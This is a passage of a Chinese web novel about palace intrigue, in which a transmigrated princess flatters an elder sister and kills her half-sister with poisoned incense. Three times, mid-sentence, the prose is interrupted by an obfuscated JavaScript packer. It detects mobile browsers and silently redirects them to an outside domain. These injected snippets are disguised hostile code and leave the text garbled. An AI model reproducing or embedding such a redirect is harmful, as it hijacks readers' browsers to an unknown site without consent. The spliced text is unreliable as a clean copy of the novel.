喜悦的情绪被压制,对李暮歌的喜爱则压不住一点儿,大公主就没见过说话这么顺耳的妹妹,一时之间对李暮歌的态度,比李暮歌同胞亲姐还亲热。 下轿子的时候,大公主甚至还回身扶了李暮歌一下,又得到李暮歌一连串的夸奖。 没人不爱听好话,哪怕上位者天天听好话,也听不腻。 而且一般人说好话,没有李暮歌的效果,他们奉承大公主,奉承不到点儿上,况且一般人身份普通,哪里有身为公主的李暮歌说话有份量。 李暮歌看着心情大好的大公主,心中有所明悟,古往今来君王身边奸佞不断,是天底下坏人太少吗?是君子们在朝堂上,不够为君王分忧,以至于君王不得不求助奸佞吗? 不是,是因为人就喜欢虚荣,就喜欢彰显自己的特殊,喜欢别人发自内心的谄媚。 君王是人,同样如此。 李暮歌好像知道该如何对付皇帝了,弱者唯有更弱,才能对付强者。 以柔克刚,以弱示人,韬光养晦,闷声发大财。 对付十一那套硬碰硬的法子,不能用来对付皇帝和大公主一类的强者,石头碰石头才能分胜负,鸡蛋撞石头,那是在找死。 华景宫如白芍所说,确实一片缟素,到处挂着白布,在宫里真是独一份了。 如此大阵仗,根本不合规矩,皇帝和皇后都还活着,如此大张旗鼓地办白事,有僭越之嫌。 十一皇子只是个小辈,他的死理应更悄无声息一些,一如书中原身的死,只有良嫔挂上白灯笼,白布都没扯几条,停灵时也不敢多烧纸,更不敢叫人哭灵。 李暮歌走到华景宫的宫门前,看见不少小宫妃穿着素净的衣裳,一脸悲色,前来吊唁。 华景宫内更是哭声震天,站在门口都能听见。 大公主当即脸色就不好看了,“淑妃此举,也不怕叫十一在地底下过得不安稳。” 李暮歌没忍住,露出些许冷然之色,她眨了眨眼,将那嘲讽掩去,指了指门口守着的一个宫人。 “大皇姐,那是紫薇殿的大太监梁忠吧。” 大公主神情微变,深吸口气,显然是起了怒意。 看见梁忠时,大公主便明白,华景宫的一切行为,都是父皇同意的。 眼前的一幕幕,让大公主想起了五年前,五年前,母妃去世了。 同样是在宫中办葬礼,母妃只有一副薄棺,仅停灵三日便匆匆下葬!她求父皇开恩,允许她在大公主府为母妃大办葬礼,却得来父皇有失公主体统的责骂! 李暮歌看见大公主气得身子都在发抖,看过原著的她,很理解大公主此刻的心情。 如果一个东西,大家都没有,就不会产生羡慕嫉妒的情绪。 皇帝如果对所有人都冷漠无情,大公主不会打心底恨他,见识过皇帝的双标,大公主甚至连自我欺骗都做不到。 不过大公主的经历,比起李暮歌的经历算得了什么?李暮歌可是亲眼对比了自己和十一皇子的葬礼待遇。 这样大的阵仗,只给一个人办葬礼,实在是亏了。 李暮歌想,勤俭节约是传统美德,皇宫里的人实在是太过铺张浪费,这样不好,这么多东西,理应多添个棺材,才能做到不浪费。 “淑妃娘娘哭得如此伤心,我实在不敢直接过去,不如大皇姐帮我去给十一烧些纸钱,我想去看看十皇姐。” “你去看小十?太不安全了,你还是跟着皇姐吧。” 大公主同李暮歌说话时,已经恢复了平日里的冷静。 “大皇姐,十皇姐其实是个好人,我落水时,十皇姐还在岸上找人救我呢,再说了,十皇姐自昨日便高烧不退,想来此刻还躺在床上,她没法伤害到我。” 李暮歌笑起来一脸天真,好像在她眼里,世界很美好,所有人都是好人。 大公主想起这孩子被刺杀后,第一件事就是出宫找自己求救,傻憨憨的样子,实在是让人心生怜爱。 对这样单纯的孩子又打又骂,欺负完后还想杀了她,小十和十一简直太过分了! “并非所有人都有一副好心肠,天底下多得是脏心烂肺的玩意儿,蓉娘,你替本殿下去看看小十。” 跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858477|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大公主身后的娘子站出来,冲李暮歌行了一礼,随后沉默着走到了白术与茯苓身后。 李暮歌道了声谢,目送大公主进了正殿后,才抬腿往侧殿走。 十公主其实自己住着一宫,只是现在她病得严重,便留在了淑妃的华景宫。 淑妃几乎九成心思都扑在了十一的葬礼上,留出来一成心思,还要想着如何报复李暮歌,以至于高烧的女儿这里,只留了三五个女儿的宫人,以及两个太医看顾。 十公主身侧的宫女,大多年龄与她相仿,才十五六岁,并不是能经得住事的年纪,再加上十一死后,淑妃将十一皇子身侧的宫人全都杀了殉葬,十公主身边的宫人兔死狐悲,更是魂不守舍,李暮歌人都到跟前了,她们还没回过神来。 李暮歌见那些宫人脸色惨白,比挨了几板子的白芍看上去还要虚弱。 如果十公主也死了,这些宫人活不了,一瞬间,李暮歌有些心软。 “十四殿下!殿下请止步!淑妃娘娘在正殿,若殿下有事,不如去正殿寻娘娘!”看见李暮歌,守门的宫人立马警惕起来,她说罢,瞪向白术与茯苓,“你们身为宫人,难道不知给殿下带路吗?怎能让殿下来此!” 她不敢说李暮歌的不是,只责怪李暮歌身后的白术茯苓,态度嚣张极了。 几个宫人看向白术茯苓的眼神里满是愤怒与憎恨,恨不得扒了她们的皮才解恨的模样,这份怨恨,肯定不止冲着白术茯苓,更是冲着李暮歌。 弱者挥刀向更弱者,李暮歌几乎要被气笑了。 主子欺负主子,宫人欺负宫人。 李暮歌回头看了一眼,白术与茯苓绷着身子,眼底的恐惧压都压不下去,可见都被这些宫人欺负过,此刻连反驳的勇气都没有。 她有什么好心软的? 十一皇子沉水的画面在脑海中闪过,李暮歌闭了闭眼,再睁眼时嘴角扬起无害的笑,轻声道:“十皇姐受惊病重,本殿下特意与大皇姐身边的蓉娘子一起来看望十皇姐,你们要挡本殿下的路吗?” 站在前头的几个宫人听到“蓉娘子”三字时,一下子不敢应声了。 蓉娘是大公主母妃的心腹,后来大公主母妃去世,她便出宫到了大公主府。别看蓉娘瞧着是个十分温和的妇人,实际上她性格冷硬,最是严厉,宫中的小宫女们都怕她。 五年过去,蓉娘在宫中威望不减当年。 “十皇姐在养病,不宜有太多人进出寝殿,蓉娘子,你此前在宫中担任教习女官一职,这些宫人五年前可能都被你教导过,不如你在外面与她们叙叙旧,本殿下有些话想同十皇姐说。” 蓉娘应了一声是,她本就是大殿下给十四殿下撑腰的人,十四殿下想单独说话,她没必要进去。 反正病重的十殿下不可能伤到十四殿下。 蓉娘看着李暮歌大步入内的背影,眯了眯眼,大殿下很少会对哪个公主皇子上心,这位十四殿下行事颇有些奇异之处,真是个妙人。 被称赞妙人的十四殿下李暮歌,在进屋后,立马反手将门关上。 屋里很静,香炉上一缕一缕白烟随着风轻轻飘散在屋中。 李暮歌走到香炉旁,从怀中掏出一个荷包,荷包散发着微微的茉莉香味。 这是前段时间梧桐殿送到春和宫的熏香,以良嫔的名义送来,闻着和梧桐殿的熏香一模一样,就是这个小东西,让李暮歌死了五次。 12. 第 12 章 将一小块香料加入香炉中,等烧起来后,李暮歌走入里间。 十公主正躺在床上,睡得很沉,她那张娇美的脸蛋红彤彤的,生机勃勃,瞧着一时半会儿死不了。 李暮歌觉得,还是十一皇子那张失去生机的脸更好看。 确定人在屋里,跑不了,李暮歌便抬腿往屋外走去,熏香要熏一会儿才能起作用,她得确保接下来十公主一直在屋里。 见李暮歌人刚进去,转头又出来了,守在门口的几个宫人松了口气,蓉娘则是有些疑惑。 “十皇姐在睡觉,我看她睡得香甜,便没有打扰她,你们好生在这儿守着,生病了是该好好休息,别让其他人进去扰了皇姐好梦。” 宫人们嘴上应了一句,李暮歌看她们的表情,就知道她们没听进去。 不过她们也不敢随便放人进去,万一十公主被吵醒,她们都没好果子吃。 “本殿下打算去正殿祭拜十一皇兄,你,为本殿下引路。” 李暮歌随手指了个领头的宫女,那宫女应了声是,恨不得立马将李暮歌送走,一路上没停歇半步,眨眼就带着李暮歌到了正殿门前。 等宫人走了,蓉娘子才开口问道:“十四殿下,不知十殿下病得重不重,看着可还精神?” “十皇姐面色红润,想来病已经开始好转了。” 蓉娘子不知是惋惜还是庆幸地说了一句,“那真是太好了,十公主吉人自有天相,定会很快痊愈。” 李暮歌笑着点点头,全然一副为十公主高兴的模样,落在有心人眼中,这个笑容满是嘲讽意味。 “十四!你怎敢来华景宫!” 一身素白宫装的淑妃从殿内走出,目眦欲裂,七窍生烟,好似下一秒便要张开血盆大口,将李暮歌撕成碎片,吞吃入肚! 李暮歌在淑妃吃人的目光中微微俯身,行了一礼,“见过淑妃娘娘。” 淑妃品级比良嫔高,李暮歌自是要同她行礼,这一礼落在淑妃眼中是赤裸裸的挑衅,淑妃的儿子躺在棺材里,害死她儿子的人,站在她面前活蹦乱跳,还能跟她行礼! 淑妃气得心脏都疼,她几乎要控制不住,想要扑上去将李暮歌的脸皮撕下来,让她给自己的儿子陪葬! 在她控制不住向前一步的时候,大公主站了出来,伸手拦住淑妃,说道:“淑妃娘娘,父皇就在正殿之中,还请娘娘三思而后行,莫要让十一死后还不得安宁。” 淑妃滔天的怒火哪儿会那么容易被压下去,她恶毒的目光落在大公主脸上,“大公主,十一是你的弟弟!” “正因为十一和十四是本殿下的弟弟妹妹,本殿下才不好偏颇,父皇亦是如此,只能论事不论人,十一有错在先,而今十四不计前嫌,特意前来祭拜,淑妃娘娘若是将十四赶出去,明日朝堂之上,言官弹劾小十和十一欺压皇妹,意图谋害皇嗣的折子便会压满书案,娘娘总该为活着的人多想想。” 搬出十公主,淑妃的理智总算是压过了情感。 淑妃看看一脸无辜的李暮歌,再看看含笑望着她的大公主,冷笑连连,“好,今日之事,本宫记住了。” 说罢,她转身入内,脚步声都比往常要沉重。 李暮歌甚至能从淑妃的背影里,看出一股萧瑟之感,没法为自己的孩子报仇,还要容忍仇人虚情假意前来祭拜,淑妃此刻心里定然是又恨又无力。 何必多纠结呢?很快,淑妃就能孤注一掷了。 李暮歌很想看看,读者对良嫔的评价,在淑妃身上是否会应验。 失去所有孩子后彻底疯狂,以至于去干掉脑袋的事情,将九族的命都压上,也要掌握权力报仇,淑妃会这么做吗? “刚刚多谢大皇姐为我说话,如果不是大皇姐拦着淑妃娘娘,恐怕淑妃娘娘真的会将我扔出去,届时妹妹会在全宫所有人面前颜面扫地,日后恐怕无颜出门了。” 大公主正看着淑妃的背影发呆,李暮歌满是感激的声音在她耳畔响起,她回过神来,笃定地说道:“她不会这么做,况且父皇还在里头,有父皇在,她不敢造次。你要不要进去与父皇说说话?” 听到要见皇帝,李暮歌眼睛微微发亮,可是下一秒,那亮如风中烛火,瞬间被吹灭,她垂眸苦笑,摇了摇头,“算了吧,父皇肯定不想看见我,今日我来此实在鲁莽,淑妃娘娘见我时这般生气,十皇姐也还在病中休息,我该过两日再来得。” 大公主听出李暮歌起了退意,心里感叹李暮歌还不算太笨,总算是有几分眼力见,想明白今日不该来,“过两日也不必来,有人想要你的性命,你何苦还眼巴巴贴上去呢?” 李暮歌听到大公主这毫不留情的话,有些手足无措,像是做错了事的孩子,低头不语,半晌才道:“多谢大皇姐教诲,还请大皇姐在灵前多为十一烧些纸钱,我先回春和宫了。” “来都来了,真不进去看看?” “不了,父皇和淑妃娘娘心情都不好,还是不要再起冲突了,在十一皇兄灵前,实在是对亡者不敬,请大皇姐代妹妹说一声抱歉。” 大公主见李暮歌是真不想进去了,也就放李暮歌走了,虽说淑妃暂时被她安抚下来,但谁也不知道淑妃会不会闹起来,李暮歌现在走就对了。 就是李暮歌真的很可怜。 大公主让李暮歌乘自己的轿子回春和宫,李暮歌满是感激,连声道了几句大公主是好人,等上了轿子,四下无人,李暮歌满是歉意的表情如潮水般褪去。 剩下的是对人命的冷漠,以及对之后大戏的期待。 可惜不能亲眼看见十公主死,真是令人遗憾。 李暮歌一开始就没想过见皇帝,她知道皇帝在华景宫的话,淑妃不敢对她怎么样,她甚至不需要做任何挑衅动作,只要人到了正殿门口,被淑妃看见,吊唁一事便会不了了之,她能光明正大地进入华景宫,还能光明正大出来。 唯一让李暮歌不爽的事,只有一件。 “真是便宜她了。”李暮歌拿出装有熏香的荷包,手指摩挲着上头的绣花,指尖很快泛起红,细皮嫩肉的小公主,皮肤连一点儿粗糙的绣花都受不住。 但就是这样一双手,已经沾上了两条人命。 熏香算是比较轻松的一种死亡方式,李暮歌知道十公主昨日一直高烧不退,今天多半在睡觉,如果十公主没睡,李暮歌还有另一个杀人的法子。 其实十公主醒着更好,那样十公主就能和十一皇子一样,眼睁睁看着自己一点点死去,品尝死亡中的所有恐怖。 半个时辰后,华景宫偏殿,十公主在睡梦中紧紧皱起了眉。 在梦里,她像是置身于水中,四面八方的水笼罩着她,她正一点点步入死亡,她张开嘴想要呼吸,立刻涌入了一大口浑浊的水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858478|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>身体越来越沉重,想要上浮却只能下落。 蓦然,一双手拽住了她的脚踝,她低下头,对上了满是死意的无神双眸。 她看见过这双眼睛神采飞扬的模样,她和十一是双胎,她们在母亲的肚子里时,便相互依偎,一直在一起。 后来去太学读书,她们更是朝夕相处,她们是彼此的手足,是彼此生命里不可分割的一部分。 可就在前日,她的手足在她面前被人拖下水,她连上前一步,跳入河中救人的勇气都没有,她甚至连说出真相的勇气都没有! “姐姐,为什么不救我,你为什么不救我!” “不、不是……”不是故意不去救,是我害怕,李暮歌她会杀了我的,她一定会杀了我! “姐姐,水底下好黑,好凉啊,你来陪我好不好?” 那张被水泡得发白的脸,离她越来越近了。 “不!!” 十公主猛地睁开眼,她从床上坐起,手从自己的脖子上放下去,原来她之所以觉得窒息,是因为在梦中,她的手一直死死掐着自己的脖子。 “咳咳!”十公主干咳了几声,狠狠喘了几口气,她此刻耳畔全是自己的心跳声,那声音带动血液飞快流动,本就因体温过高而微微泛红的脸,此刻更是红的滴血。 香炉里的香气缓缓升起,淡淡的茉莉香气萦绕在十公主身边,十公主皱了皱眉。 母妃殿中何时换了香? “来……” “姐姐,可是没有睡好?” 滴答滴答的落水声从床前传来,熟悉的少年人就站在她床前,与往常一样,一双与她相似的杏眼,满是担忧地望着她。 “啊!!!” 近乎疯狂的尖叫声响起,守在门外的宫人们打了个激灵,随后推门直入殿中,迎面便有一个花瓶扔到了脸上。 “嘭!” 被花瓶砸到的宫人霎时头破血流,软倒在地,爬都爬不起来。 “十一!你不要来找我!不要来找我!不是我杀的你,你去找李暮歌那个贱人!你去找她!我不是故意不救你的,我不是故意不救你,你去找她啊!” 宫人们被迫听到了一堆秘密,手脚发凉,脸色十分难看,她们知道,今日她们听见了这些话,定是没命走出寝殿了。 一时之间,竟无人上前阻止十公主,十公主发疯似得叫喊,声音都喊裂了,还在喊叫不止,不停扔东西,屋里被砸得一片狼藉。 直到在正殿的淑妃和皇帝闻声赶来,十公主才消停了几分。 “小十!小十!是母妃啊,你看看母妃,你不要吓母妃啊!” 淑妃扑上去,不管十公主如何抓咬打她,她都不松手。 她此刻哭成了泪人,心里悲痛至极,小儿子死了,大女儿疯了,这难道是上苍对她昔日做错事的惩罚吗? 要罚就罚她,何故罚她的孩子啊! “母妃……母妃救我……” 十公主像是被淑妃喊回了理智,喃喃一句后,喉头一腥,吐了一口血出来,人向后一倒,晕死过去。 “叫太医!”站在门口看见女儿吐血一幕的皇帝脸色铁青,撂下三个字,转身离去。 正殿还有不少宫妃与前来吊唁的宗亲,不先将那群人打发走,明日小十疯了的事情,就会传遍整个长宁。 皇室丢不起这样大的脸! 13. 第 13 章 重生回来第三天,李暮歌第一次不是在紧张的氛围中入睡。 她不用担心今天晚上闭上眼睛,明天可能睁不开的问题了。 华景宫现在吸引了所有人的目光,那些想要对李暮歌动手的人,必须掂量一下,此刻动手,到底能不能在皇帝的眼皮底下全身而退。 皇帝向来重视皇室脸面,只死一个皇子,没什么大不了,但要是一下子连着死好几个,皇帝一定会用尽手段,将幕后主使揪出来。 封建时期,一个掌握实权的皇帝,他的意志几乎等于上天的意志。 李暮歌刚穿越的时候,对这件事认知还没有那么深刻,直到她在无数次死亡里,利用皇帝躲过了数次死亡危机后。 清晨,李暮歌睁开眼,从床上起来。 明日就是万寿宴了。 “华景宫那边,可有什么消息?” 李暮歌起床后第一件事,就是问为她梳洗的宫人,华景宫的情况。 今日为她梳洗之人是白术,白芍受了伤,还在养伤。 白术一边儿为李暮歌梳头,一边儿低声说:“奴盯着华景宫一夜,并未发现有任何动静,只隐隐听说,十公主病得严重,昨日连着叫了好几个太医看诊。” “是又发热了吗?” 李暮歌随手摆弄着梳妆台上的首饰,漫不经心地问。 “似乎不是。”白术拿起刚刚李暮歌摸过的镂空兰花珠钗,“奴看见太医署的楼太医也去了,先帝在时,他常为先帝治脑疾。” 盛天皇帝年纪大了之后,有时候容易忘事,像是老年痴呆症,擅长治疗这种病症的太医不是很多,楼太医是其中佼佼者。 古代的大夫很多都是全科医生,但一个人的精力是有限的,没法面面俱到,肯定有更为擅长的领域,楼太医最擅长治脑子。 李暮歌知道这事儿,还是因为小说后期,有个宫妃生了个脑瘫孩子,楼太医没治好,被皇帝一怒之下砍了脑袋。 后期皇帝头风病发作,想找个给他治病的太医都找不到,后悔当年杀了楼顺,悔得每次头疼都要念叨两句。 李暮歌怀疑后期皇帝中年痴呆了,砍谁也不能砍医术好的大夫啊!谁知道什么时候就能用上,瞧瞧,这不就自己断了自己的后路了。 “发热后,有时人会头疼得厉害,楼太医过去看诊,实属正常。” 李暮歌帮皇帝在宫人面前圆谎,她从铜镜中看见了白术恍然的表情,深觉自己真是个好人。 这个皇宫,看似处处严密,好似铁桶一个,实际上到处是虫窟窿,风一吹,任何事情都瞒不住。 皇宫不光是住在里头的贵人们的家,还是数以千计的宫人们的家,谁家里能有绝对的秘密啊。 李暮歌想,现在十公主应该是发疯了,人还没死,但距离死肯定不远了。 失策,十公主不会死在皇帝万寿宴当天吧?那可真是送了皇帝一份大礼了,希望皇帝能撑得住。 李暮歌第一次给人下毒,没把握好分量,好像是下少了,她当初闻了半天熏香,上午点得香炉,下午就疯疯癫癫吐血而亡了。 “殿下,今日殿内要点什么香?前段时间梧桐殿的翠珠姑姑送来了一小盒香料,说是良嫔娘娘亲手调制,不如用那一盒?” 正在点香的茯苓捧着一个托盘过来。 盛天皇帝喜欢熏香,上有所好下必甚焉,因此到了如今,不光贵族们屋中好熏香,连普通百姓家里都会点点儿香熏一熏衣角。 不过比起百姓家随手买的香,贵人们用得香都特别讲究,是调制后得来的,加在里头的每一份香料,都格外名贵。 最好的香,能一斤抵过百金。 良嫔是用香的高手,她能年近四十依旧颇得盛宠,离不开她一手调香的好本领。 李暮歌将那放着香的盒子推开,里头是她熟悉的香,凑近,她闻到了淡淡的茉莉味道。 “又是茉莉,母妃最近可真喜欢用茉莉,前几日,本殿下去大皇姐府上游船,看见荷叶满塘,荷花含苞待放,眼下荷花才正是时节,换荷香吧。” 李暮歌将木盒子推上,那凑近闻时有些过于浓郁的茉莉香,彻底消失。 茯苓并未察觉到不对,听话得将荷香找出来点上,袅袅白烟自香炉中升起。 “听闻,昔日颜三娘子与大皇姐赴宴,人未至而香气扑鼻,连在园中翩翩的蝴蝶都被吸引,绕在颜三娘子身侧起舞,自此,颜三娘子得一雅名,号蝴蝶居士。” 李暮歌说得颜三娘子,正是大公主闺中密友颜士珍。 刚点完香的茯苓有些迷茫,她今年才十四,年纪小,根本没听说过这件事。 倒是屋中一个平日里沉默少言的女官说话了。 “回殿下,那都是十年前的事了,十年前皇后娘娘设宴,殿下也在宴上,没想到十年过去,殿下还记得此事。” 那位女官名锦绣,是宫中老人,曾在梧桐殿伺候,后跟着李暮歌到了春和宫,她性格木讷,最是老实。 良嫔选她做春和宫的女官,就是怕有女官仗着年岁大,欺负原身,李暮歌每次看见锦绣,都觉得良嫔对原身也不是一点儿感情都没有。 就是比不上对六公主而已。 李暮歌不知道书里的回忆名场面里,原身还在里头当背景板,真纯纯背景板,一句描写都没混上。 “嗯,印象太深刻了,此次本殿下落水,全赖颜家六娘子相救,今日本殿下身体大好,该去登门拜谢,颜家人能有一手出神入化的调香之术,想来是好香之人,不如挑两盒母妃调制的香送过去,锦绣,你去库房挑两盒吧。” 李暮歌看见锦绣神情不禁微变,在她还待多看的时候,锦绣已经恢复了平日里木讷的模样,恭恭敬敬行了一礼,去挑熏香了。 她看都没看茯苓放在盒子上的那一盒香料。 茯苓看着锦绣离开,回头跟李暮歌说道:“殿下,这几日梧桐殿送来的香不多,就这一盒,不如包上?” 细看能看出茯苓眼底的疑惑,库房里没有香了,锦绣去哪儿包啊。 “就这一盒了?看来锦绣姑姑是直接去梧桐殿拿了,殿下,锦绣姑姑就是太不爱说话,但她办事向来稳妥,还请殿下莫要怪罪。” 白术赶忙开口,她和锦绣有些亲戚关系,李暮歌在某一次重生后,听到白术私底下喊锦绣姨母。 “没事,是本殿下没记住库里有什么东西,不怪她,叫人去颜家送帖子,问问颜六娘今日可有空,我要约她出来一叙。” 不是正式到颜家拜访,李暮歌还没有外出建府,正式上门不太好,而且她昨天忘记给颜家送拜帖了,现在上门实在是不太讲究。 约人出来玩就没那么多事了。 再说了,李暮歌还有些事想单独跟颜士玉谈一谈。 锦绣很快便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858479|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着两个包好的木盒子回来了,她确实是从隔壁梧桐殿新要了两盒,李暮歌笑吟吟地夸了锦绣两句,说她今日倒是格外懂得变通。 锦绣讪笑两声,躬身行礼,没有多话。 颜家很快给了回复,颜士玉今日没事,可以出去玩,李暮歌没怎么出宫过,因此颜士玉定下了一处地方,李暮歌带上礼物和随侍,便出宫去了。 马车停在了一处名为文绮楼的地方。 李暮歌下车一看这名字就乐了。 “帝尧王天下之时,金银珠玉不饰,锦绣文绮不衣,这地方倒是合母妃心意。” 良嫔的四个大宫女,翠玉、翠珠、锦绣和锦文,名字出处便是这一段话。 李暮歌身边的宫女名字则是中草药,她以前好奇,随手查过。 “没想到殿下对《六韬》颇有研究,不过文绮楼的名字还有一层含义,乃是集天下文章最奇之处。” 颜士玉早就在一旁恭候,请公主出来玩,她当然得好好招待,不敢有半分疏忽。 李暮歌侧头看过去,今日颜士玉一身学子服,那衣服乃是浅绿色,穿在她身上,显得格外清爽。 与李暮歌对上视线一瞬,颜士玉便移开了目光,低头行礼,“六娘见过殿下,问殿下安。” “今日在外行走,需低调,尊称便免了,六娘不如唤我十四?” 李暮歌上前扶起颜士玉,俏皮地冲颜士玉眨了眨眼,两人对视间,像是达成了一个共识。 颜士玉当即对李暮歌改了口,“十四娘,在下在三楼设了酒席,还请十四娘莫要嫌弃茶水简陋。” “敢取名文绮的酒楼,来往无白丁,乃高雅所在,何来简陋一说?” 李暮歌太清楚这些人喜欢听什么了,她此话一出,颜士玉看她的眼神都变得更温和了。 世家贵族,封建皇权,两人携手入内,像是大庄的掌权者们一样,和谐极了。 只是进屋后,茶水端上来,两人都不说话了。 热烈的气氛像是被泼了冰水,瞬间冷了下来。 颜士玉端起茶水轻啄一口,舌尖微烫,让她脑子更为清醒,那一天在水中看见的场景,不自觉浮上心头。 在她面前,十四公主杀了十一皇子。 颜士玉不知道今天十四公主为什么要来见自己,明天就是万寿宴了,难道十四公主不该留在宫里,好好准备明天的盛事吗? 颜士玉不禁想起十四公主刚刚在楼下念得那句话,十四公主在研习《六韬》。 《六韬》乃是帝王之术。 难道十四公主对那个位置,同样有野心? 颜士玉手指摩挲着杯口,指尖被烫的微红,都不能压制她开始飞速跳动的心跳。 野心,谁都有。 她颜士玉也有。 可是颜家支持她姐姐,她姐姐乃是坚定的大公主党,她在颜家的位置就跟十四公主在宫里的位置一样,根本不受重视。 两个同样不受重视的人凑在一起能干什么?小可怜抱团吗? 在安静品茶的李暮歌不知道,坐在对面的颜士玉,心中已经转过多少个年头了。 如果李暮歌知道,她大概会说一句,你们文人的脑子是真脏啊。 我就不能是单纯随便看看书,陶冶一下情操?我就不能是单纯来找你道谢,谢你救命之恩,谢你没当着所有人的面,戳穿我的栽赃嫁祸? 14. 第 14 章 “十四殿下……” “说了在外面,不用喊我尊称,今日你我坐在一处饮茶,无上下之分。” 颜士玉没忍住先开了口,可不待她说更多,李暮歌便打断了她。 颜士玉并没有被李暮歌的这段话打断思绪,她从善如流的改变了称呼,再次开口,“十四娘今日出宫,想来是因为此前落水一事。” 李暮歌点点头,确实是因为这件事。 “十四娘是公主,救公主是职责所在,再则日前良嫔娘娘已送了谢礼到府上,十四娘不必因此事纡尊降贵,前来见在下。” “救命之恩,可不是几件谢礼便能了结的恩情,再说了,六娘于我之恩,不仅是救我出水,还有一件事。” 李暮歌说到这儿停顿了,颜士玉心不禁跟着一跳,呼吸下意识都停了。 这位十四公主到底是什么意思?那日水下之事,放在谁身上都是恨不得一世不被提起的隐秘,怎么她敢在这儿说? 随从都在屋外守着,屋中只有李暮歌和颜士玉两人,颜士玉心跳如擂鼓,不消片刻,额头便是一层冷汗。 “十四娘此言,是何意?” 颜士玉开口时,甚至能感受到自己嘴角的干涩,像是多日不曾饮水的旅客,挣扎在路上,无助得等待上天宣告命运。 “是想问六娘一句话,六娘当时没救十一皇兄,事后没有告知任何人真相,是为了帮我,还是为了帮自己呢?” 李暮歌直视颜士玉的双眸,那双年轻的眸子里,是清澈动人的欲望,对权力、地位的渴望。 同是颜氏女,一如原身同为李氏公主,她们聪慧,生来高贵,凭什么要匍匐在他人脚下,做助人的踏脚石。 在对上李暮歌双目瞬间,颜士玉诡异得平静下来。 她想起自己在岸上时的想法,她从一开始,就是奔着救十四公主而去,至于十一皇子,说实话,如果十四公主没有先下手杀他,她定会想法子,让十一皇子没法上岸。 “肃国公覃家,自开国至今,代代皆勋贵,淑妃父亲更是坐到了中书舍人的位置,为陛下心腹,他不止一次提过,勋贵之中多有能臣,比之南方世家大族强上许多,该削减世家官职。” 颜士玉说起现在朝堂上的一些斗争,听得李暮歌一愣。 李暮歌还真不清楚这件事,小说的视角大多放在后宫,前期朝堂上的争斗,对后宫的影响微乎其微。 她只知道,大公主厌恶十公主和十一皇子,有大公主在上头一日,十和十一就一直没有出头。 等大公主下线,十和十一才陆续登台。 颜士玉又接着说道:“在下这里有一桩旧事,十五年前,东安大旱,民不聊生,民间有乱民起义,彼时为肃国公世子的覃昌领兵前去镇压,就在他到东安前一夜,有一股乱民杀入我颜家族地,致使颜家百余儿郎战死,损失惨重,至今,族地之中依旧有人夜夜惊叫,被梦魇困在十五年前的那一天。” 十五年前,她才刚一岁,那时她也在族地。 人们常说,小孩子没有记忆,可她却清晰得记得,记得冲天而起的火光,记得惊慌失措的母亲抱着她,与她一起藏在地窖之中。 地窖里陈旧阴冷的气息,与地面上不时传来的喊杀声,成为她最深刻的记忆,是她每夜的梦魇。 时至今日,已经很少有人记得了,可颜士玉查过,她比任何人都清楚那一夜的不寻常。 李暮歌问:“颜家怀疑是覃昌在其中动手脚?” “分明就是覃昌派人所为,以为穿上乱民的衣服,就能从兵变为贼,谁都看不出破绽了吗?” 颜士玉气得止不住发抖,颜家没有蠢人,那一夜过去后,颜家人很快意识到是有人假借乱民之名,杀害颜家人。 只因那一股乱民强得不正常。 一般乱民哪儿能拿出刀剑盔甲,大多是面黄肌瘦的可怜百姓手持锄头镰刀便造了反。 颜家一直在施粥,还收留了一部分流民,东安城那时局势都已经趋于稳定了,可肃国公一来,一切都乱了,颜家人拼死抵抗,熬过了那漫长的一夜。 可那一夜是过去了,心中的仇恨,能轻易消散吗? 李暮歌知道此事,这也是她问颜士玉究竟是为了谁,才隐瞒真相的原因。 知道归知道,在听到颜士玉近乎字字泣血的讲述时,李暮歌还是有些心酸。 李暮歌在现代当女大的时候,从来不会在乎权贵的苦难。 难道资产过亿的权贵们,需要她一个普通女大关心吗?她就是想帮忙,也人微言轻,没有用啊。 现在坐在颜士玉身前,听着颜士玉叙述惨烈往事,看着她一脸悲痛,李暮歌突然意识到,权贵也好,穷人也好,她们都是人。 是人,不是石头,她们心里有重视的亲人。 亲人惨死,是血海深仇,不得不报。 李暮歌低头喝了一口茶,看看颜家人的团结,再看看她李家人自相残杀,一刀一个的破事,她说李家这些皇室成员都是伪人,一点儿不过分。 颜士玉粗喘几口恶气,才勉强镇定心神,继续说道:“淑妃、肃国公,都不是现在的颜家人能轻言斩杀的敌人。” 